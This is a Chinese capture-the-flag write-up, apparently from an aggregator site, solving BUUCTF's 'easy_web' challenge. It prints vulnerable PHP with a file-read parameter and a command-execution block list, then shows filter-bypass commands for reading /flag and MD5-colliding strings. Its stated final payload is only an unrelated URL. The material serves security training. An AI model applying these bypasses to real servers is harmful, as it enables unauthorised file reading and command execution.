当前位置: 首页 > news >正文

BUUCTF-easy_web

将初始url中img参数的内容进行两次base64解码以及一次16进制解码后,可以得到555.png。


可以将参数改为index.php进行一次16进制编码、两次base64编码后传参,获取到index.php的源码。

<?phperror_reporting(E_ALL||~E_NOTICE);header('content-type:text/html;charset=utf-8');$cmd=$_GET['cmd'];if(!isset($_GET['img'])||!isset($_GET['cmd']))header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');$file=hex2bin(base64_decode(base64_decode($_GET['img'])));$file=preg_replace("/[^a-zA-Z0-9.]+/","",$file);if(preg_match("/flag/i",$file)){echo'<img src ="./ctf3.jpeg">';die("xixi~ no flag");}else{$txt=base64_encode(file_get_contents($file));echo"<img src='data:image/gif;base64,".$txt."'></img>";echo"<br>";}echo$cmd;echo"<br>";if(preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",$cmd)){echo("forbid ~");echo"<br>";}else{if((string)$_POST['a']!==(string)$_POST['b']&&md5($_POST['a'])===md5($_POST['b'])){echo`$cmd`;}else{echo("md5 is funny ~");}}?>

前面较为容易绕过,较为难绕过的是下述代码:

echo$cmd;echo"<br>";if(preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",$cmd)){echo("forbid ~");echo"<br>";}else{if((string)$_POST['a']!==(string)$_POST['b']&&md5($_POST['a'])===md5($_POST['b'])){echo`$cmd`;}else{echo("md5 is funny ~");}}

可以看到$cmd参数设置了较为严格的过滤,常见的查看文件内容的命令都被过滤,

more less head tail cat

但是还有其他方法可以查看文件内容:

base64 /flag strings /flag

接下来还需要以post方式传参ab两个参数,且ab不能相等但是他们的md5值严格相等。

if((string)$_POST['a']!==(string)$_POST['b']&&md5($_POST['a'])===md5($_POST['b'])){echo`$cmd`;}

可用下面两个字符串,虽然他们的值不同但是他们的md5值相同

TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak


最终payload如下:

http://www.gsyq.cn/news/112845.html

相关文章:

  • 科技砸盘释放流动性!消费成焦点!
  • Flask任意文件读取+session伪造-NSSCTF-web4
  • 高频Jmeter软件测试面试题
  • 揭秘私有化Dify用户管理体系:如何实现精细化权限分配与安全审计
  • 大模型教我成为大模型算法工程师之day15: 图像分割 (Image Segmentation)
  • 3、云、虚拟化与数据存储网络基础全解析
  • Python学习第一天:保留字和标识符
  • Java面试Redis核心知识点整理!
  • C++编译死机排查工具与实战指南
  • 深度剖析Dify PDF解密失败根源(附完整错误代码对照表)
  • 不懂数据库索引原理?你写的SQL跑的慢如老牛,就等着挨骂吧
  • QuickBI报表开发流程详解
  • 震惊!Deep Agents让AI智能体“开挂“了!任务分解+子智能体+虚拟文件系统,小白也能构建“超级智能体“!
  • 【编程干货】大模型开发文档处理秘籍,让你的RAG系统性能提升10倍!
  • 震惊!AI Agent架构的“五脏六腑“全曝光!从底层到SaaS平台,5层架构带你秒懂大模型Agent开发(附全景图)
  • 【yyds】9种高级Chunking策略让RAG系统性能起飞,大模型开发者必看干货!
  • 实测主流科技查新网站:它们如何解决专利与项目查新的双重需求?
  • 【自然语言处理】字符编码与字频统计:中文信息处理的底层逻辑与实践维度
  • 【自然语言处理】单字与双字字频统计算法设计
  • 市场上MES供应商众多,各自的侧重点有何不同?我们该如何找到最适合自己行业和需求的?
  • 为什么make4ht -x abc.tex生成的HTML文件没有样式
  • 一多开发实例(购物比价)
  • Oracle回滚与撤销技术
  • 毕设分享 基于单片机的太阳追光系统(源码+硬件+论文)
  • 《Nature Communications》新突破:皮肤共形MHz近红外光探测器,实现无角度依赖的百米通信
  • Linux相关基础
  • 台达DVP 16ES2与DT3系列温控器通讯程序(TDES-3)及昆仑通态、威纶通触摸屏操作手册
  • 考虑风光出力的虚拟电厂和运营商的主从博弈,分别考虑电动汽车充放电,火电出力,储能设备充放电充放...
  • 总线的atmotic与lock/exclusive
  • 投影机选型核心技术解析:4大参数原理+实操选型指南